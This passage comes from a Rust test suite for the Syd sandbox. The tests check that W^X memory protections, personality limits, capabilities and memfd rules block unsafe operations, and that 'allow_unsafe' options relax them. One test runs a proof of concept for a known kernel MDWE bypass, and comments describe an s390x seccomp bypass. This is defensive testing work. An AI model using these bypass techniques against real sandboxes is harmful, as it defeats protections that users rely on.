        .m("trace/allow_unsafe_personality:1")
        .do_("personality", [Persona::MMAP_PAGE_ZERO.bits().to_string()])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if restricting READ_IMPLIES_EXEC work for syd-mdwe(1).
fn test_syd_mdwe_personality_read_implies_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "personality")
        .arg(&*SYD_DO)
        .arg(Persona::READ_IMPLIES_EXEC.bits().to_string())
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// Tests if restricting ADDR_NO_RANDOMIZE work for syd-mdwe(1).
fn test_syd_mdwe_personality_addr_no_randomize() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "personality")
        .arg(&*SYD_DO)
        .arg(Persona::ADDR_NO_RANDOMIZE.bits().to_string())
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills PROT_READ|PROT_EXEC with MAP_ANONYMOUS.
fn test_syd_mdwe_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mmap_prot_read_exec_with_map_anonymous")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS.
fn test_syd_mdwe_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mmap_prot_write_exec_with_map_anonymous")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills mmap at NULL address with MAP_FIXED.
fn test_syd_mdwe_mmap_fixed_null() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mmap_fixed_null")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    if cfg!(target_arch = "s390x") {
        // old mmap:
        // Params are pointed to by arg[0], offset is in bytes.
        // This syscall bypasses our seccomp filter,
        // and there is nothing we can do about it due to
        // the pointer indirection involved.
        assert_status_permission_denied!(status);
    } else {
        assert_status_sigsys!(status);
    }
    Ok(())
}

// syd-mdwe(1) kills PROT_EXEC mapping of a previously PROT_READ region.
fn test_syd_mdwe_mprotect_read_to_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mprotect_read_to_exec")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills PROT_WRITE|PROT_EXEC mapping of a previously PROT_READ region.
fn test_syd_mdwe_mprotect_read_to_write_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mprotect_read_to_write_exec")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills PROT_EXEC mapping of a previously PROT_WRITE region.
fn test_syd_mdwe_mprotect_write_to_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mprotect_write_to_exec")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills PROT_READ|PROT_EXEC mapping of a previously PROT_WRITE region.
fn test_syd_mdwe_mprotect_write_to_read_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = Command::new(&*SYD_MDWE)
        .env("SYD_TEST_DO", "mprotect_write_to_read_exec")
        .arg(&*SYD_DO)
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// Check MDWE protections across mprotect boundary with syd-mdwe(1).
fn test_syd_mdwe_mprotect_exe() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    if !build_mprotect_exe() {
        eprintln!("Failed to build mprotect code, skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip test.
    }

    let status = Command::new(&*SYD_MDWE)
        .arg("./mprotect")
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// Test syd-mdwe(1) with LuaJIT.
fn test_syd_mdwe_mprotect_jit() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_unless_available!("luajit", "sh");

    // Check if JIT is available for current architecture.
    let status = Command::new("sh")
        .arg("-cex")
        .arg("luajit -jon -e x=1")
        .status()
        .expect("check luajit");
    if !status.success() {
        eprintln!("LuaJIT cannot compile for current architecture, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    let status = Command::new(&*SYD_MDWE)
        .arg("luajit")
        .arg("-e")
        .arg("for i=1,1e5 do local a=i*2 end")
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) allows executable stack.
fn test_syd_mdwe_enforce_execstack_nested_routine() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_32bin_64host!();
    if !check_nested_routines() {
        // Nested routines not supported.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = Command::new(&*SYD_MDWE)
        .arg("./nested")
        .arg("0")
        .status()
        .expect("execute syd-mdwe");
    assert_status_ok!(status);

    Ok(())
}

// syd-mdwe(1) kills self modifying code using executable stack.
fn test_syd_mdwe_enforce_execstack_self_modifying() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_32bin_64host!();
    if !check_self_modifying_xs() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = Command::new(&*SYD_MDWE)
        .arg("./selfmod")
        .arg("0")
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

// syd-mdwe(1) kills self modifying code using mprotect(2).
fn test_syd_mdwe_enforce_mprotect_self_modifying() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_32bin_64host!();
    if !check_self_modifying_mp() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = Command::new(&*SYD_MDWE)
        .arg("./selfmod")
        .arg("0")
        .status()
        .expect("execute syd-mdwe");
    assert_status_sigsys!(status);

    Ok(())
}

fn test_syd_log_proc_setname_read() -> TestResult {
    // create pipe to read syd logs.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let procnm = b"hello!\xE2\x98\xBA\xF0\x9F\x92\xA9\xE2\x9C\x8C\xE2\x9D\xA4";
    let expect = OsStr::from_bytes(&procnm[..15]);
    let procnm = OsStr::from_bytes(procnm);
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("log/verbose:2")
        .do_("set_name", [procnm])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    match reader
        .lines()
        .filter(|line| {
            line.as_ref()
                .map(|l| l.contains("\"change_process_name\""))
                .unwrap_or(false)
        })
        .last()
    {
        None => {
            eprintln!("read nothing, expected process name log entry!");
            return Err(TestError("EOF".to_string()));
        }
        Some(Ok(line)) => {
            eprint!("read access violation:\n{line}");
            let data: Value = serde_json::from_str(&line).expect("invalid JSON");
            let name = data
                .get("name")
                .and_then(|v| v.as_str())
                .expect("missing name field");
            let real = HEXLOWER_PERMISSIVE
                .decode(name.as_bytes())
                .expect("invalid HEX");
            let real = OsStr::from_bytes(real.as_slice());
            eprintln!("syd logged process name `{name}' -> `{real:?}'.");
            eprintln!(
                "original name argument {procnm:?} is truncated to {} bytes.",
                real.len()
            );
            if *real != *expect {
                return Err(TestError(format!("name mismatch, expected `{expect:?}'")));
            }
        }
        Some(Err(e)) => {
            // Error reading from the buffer.
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_log_proc_setname_filter() -> TestResult {
    // create pipe to read syd logs.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("log/verbose:0")
        .do_("set_name", ["3"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    match reader
        .lines()
        .filter(|f| {
            f.as_ref()
                .map(|l| l.contains("\"access\""))
                .unwrap_or(false)
        })
        .last()
    {
        None => {
            eprintln!("read nothing!");
            eprintln!("process set name filtered as expected.");
        }
        Some(Ok(line)) => {
            eprint!("unexpected read:\n{line}");
            return Err(TestError("failed to filter process set name".to_string()));
        }
        Some(Err(e)) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_cap_basic() -> TestResult {
    let status = Command::new(&*SYD_CAP).status().expect("execute syd-cap");
    assert_status_ok!(status);

    let status = syd().p("off").arg(&*SYD_CAP).status().expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cap_unshare() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_ptrace:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_chown:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_time:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_bind:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_socket:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_syslog:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if AT_SECURE is set by default.
fn test_syd_set_at_secure_default() -> TestResult {
    let status = syd()
        .p("off")
        .argv([&*SYD_AUX, "-s"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Check if AT_SECURE can be disabled with trace/allow_unsafe_exec_libc:1.
fn test_syd_set_at_secure_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .argv([&*SYD_AUX, "-s"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);
    Ok(())
}

// Check if AT_SECURE is off outside Syd.
fn test_syd_set_at_secure_off() -> TestResult {
    eprintln!("+ syd-aux -s");
    let status = Command::new(&*SYD_AUX)
        .arg("-s")
        .status()
        .expect("execute syd-aux");
    assert_status_not_ok!(status);

    Ok(())
}

// Check if we're able to set AT_SECURE regardless of the number of
// arguments.
fn test_syd_set_at_secure_max() -> TestResult {
    let mut syd = syd();
    syd.p("off");
    syd.argv([&*SYD_AUX, "-s"]);

    let lim = sysconf(SysconfVar::ARG_MAX)?.unwrap_or(0x20000);
    eprintln!("Maximum length of argument for exec is {lim}.");
    for _ in 0..lim.min(0x3000) {
        syd.arg("3");
    }

    let status = syd.status().expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if sysinfo(2) return is randomized.
fn test_syd_randomize_sysinfo() -> TestResult {
    skip_unless_available!("cmp", "tee");

    let syd_info = &SYD_INFO.to_string();
    let status = syd()
        .p("off")
        .argv(["sh", "-cex"])
        .arg(format!(
            r##"
{syd_info} | tee test-1.info
{syd_info} | tee test-2.info
exec cmp test-1.info test-2.info
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

// Check mmap: PROT_READ|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = syd()
        .p("off")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check mmap: PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = syd()
        .p("off")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with backing file.
fn test_syd_mmap_prot_read_exec_with_backing_file() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // We can allow access to the file specifically.
    // This fails with EACCES due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // We can allow access to the file specifically.
    // allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
    // This fails with EACCES due to restrict_memory denying writable FD.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .m("trace/allow_unsafe_exec_stack:1")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // We can allow access to the file specifically.
    // allow_unsafe_exec_memory:1 skips file writability check.
    // allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_WRITE|PROT_EXEC with backing file.
fn test_syd_mmap_prot_write_exec_with_backing_file() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // We can allow access to the file specifically.
    // This will still get killed without allow_unsafe_exec_memory:1
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // We can allow access to the file specifically.
    // This fails with EACCES due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // We can allow access to the file specifically.
    // allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with a writable FD, then try modifying the contents.
fn test_syd_mmap_prot_exec_rdwr_fd() -> TestResult {
    skip_if_mips!(); // No W^X.

    // Layer 1: Memory-protection seccomp filters
    let status = syd()
        .p("off")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Layer 2: restrict stack parsing ELF.
    // The data used by the test is not valid ELF.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, EOWNERDEAD);

    // Check MDWE without our seccomp filters.
    // Ignore error ENOSYS as MDWE may not be supported.
    let status = syd()
        .env("SYD_TEST_DO_MDWE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        // FIXME: This breaks W^X!
        // See: https://bugzilla.kernel.org/show_bug.cgi?id=219227
        assert_status_code!(status, EOWNERDEAD);
    } else {
        eprintln!("MDWE is not supported, continuing...");
    }

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Test if mmap(NULL, MAP_FIXED) is killed.
fn test_syd_mmap_fixed_null() -> TestResult {
    skip_if_mips!(); // No W^X.

    let status = syd()
        .p("off")
        .do_("mmap_fixed_null", NONE)
        .status()
        .expect("execute syd");
    if cfg!(target_arch = "s390x") {
        // old mmap:
        // TODO: Deny old mmap with ENOSYS.
        // Params are pointed to by arg[0], offset is in bytes.
        // This syscall bypasses our seccomp filter,
        // and there is nothing we can do about it due to
        // the pointer indirection involved.
        assert_status_permission_denied!(status);
    } else {
        assert_status_sigsys!(status);
    }
    Ok(())
}

fn test_syd_mprotect_read_to_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    // mprotect PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_read_to_write_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    // mprotect PROT_WRITE|PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    // mprotect PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_read_exec() -> TestResult {
    skip_if_mips!(); // No W^X.

    // mprotect PROT_READ|PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_exec_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check MDWE protections across mprotect boundary.
fn test_syd_mprotect_exe() -> TestResult {
    skip_if_32bin_64host!();
    skip_if_mips!(); // No W^X.
    skip_unless_available!("cc", "sh");

    if !build_mprotect_exe() {
        eprintln!("Failed to build mprotect code, skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip test.
    }

    // Default is kill process.
    let status = syd()
        .p("off")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // allow_unsafe_exec_memory:1 can relax this restriction.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Test if MDWE can be relaxed as expected.
fn test_syd_mprotect_jit() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_unless_available!("luajit", "sh");

    // Check if JIT is available for current architecture.
    let status = Command::new("sh")
        .arg("-cex")
        .arg("luajit -jon -e x=1")
        .status()
        .expect("check luajit");
    if !status.success() {
        eprintln!("LuaJIT cannot compile for current architecture, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    // Execute with default restrictions.
    // Expect LuaJIT to to be killed.
    let status = syd()
        .p("off")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Relax restrictions.
    // Expect LuaJIT to succeed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mdwe_bypass_linux_bug_219227() -> TestResult {
    skip_unless_available!("cp", "sh", "true");

    if !build_mdwe_bypass() {
        eprintln!("Failed to build MDWE bypass code, skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip test.
    }

    let syd_x = &SYD_X.to_string();
    let status = syd()
        .env("SYD_TEST_SKIP_MDWE", "YesPlease")
        .p("off")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
    "
        ))
        .status()
        .expect("execute syd");
    // restrict-stack denies mmap for empty file with EACCES.
    assert_status_access_denied!(status);

    let status = syd()
        .env("SYD_TEST_SKIP_MDWE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_stack:1")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
        ))
        .status()
        .expect("execute syd");
    // restrict-memory denies mapping writable files
    // as PROT_READ|PROT_EXEC as of version 3.37.0.
    assert_status_access_denied!(status);

    let status = syd()
        .env("SYD_TEST_SKIP_MDWE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
        ))
        .status()
        .expect("execute syd");
    // Without restrict-{memory,stack} POC should work.
    assert_status_code!(status, 127);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
        ))
        .status()
        .expect("execute syd");
    // Without restrict-{memory,stack} and
    // Without SYD_TEST_SKIP_MDWE,
    // POC must not work because MDWE must deny this.
    // Known bug: https://bugzilla.kernel.org/show_bug.cgi?id=219227
    fixup!(status.code().unwrap_or(127) == EACCES, "status:{status:?}");

    Ok(())
}

fn test_syd_mfd_exec_default() -> TestResult {
    skip_if_32bin_64host!();

    let mut flags = MFdFlags::empty();
    if *syd::config::HAVE_MFD_NOEXEC_SEAL {
        flags.insert(MFdFlags::MFD_EXEC);
    }
    let flags = flags.bits().to_string();

    let status = syd()
        .p("off")
        .do_("mfd_exec", ["mfd_exec", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_exec_unsafe() -> TestResult {
    skip_if_32bin_64host!();

    let mut flags = MFdFlags::empty();
    if *syd::config::HAVE_MFD_NOEXEC_SEAL {
        flags.insert(MFdFlags::MFD_EXEC);
    }
    let flags = flags.bits().to_string();

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .do_("mfd_exec", ["mfd_exec", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_create_1() -> TestResult {
    // Sandboxing is off, memfd_create without MFD_EXEC is ok.
    let status = syd()
        .p("off")
        .do_("mfd_create", ["mfd_create", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_create_2() -> TestResult {
    // Deny memfd creation by name.
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .m("deny/create+!memfd:mfd_create")
        .do_("mfd_create", ["mfd_create", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_create_3() -> TestResult {
    // Deny memfd creation by glob.
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .m("deny/create+!memfd:mfd_cr?a*")
        .do_("mfd_create", ["mfd_create", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
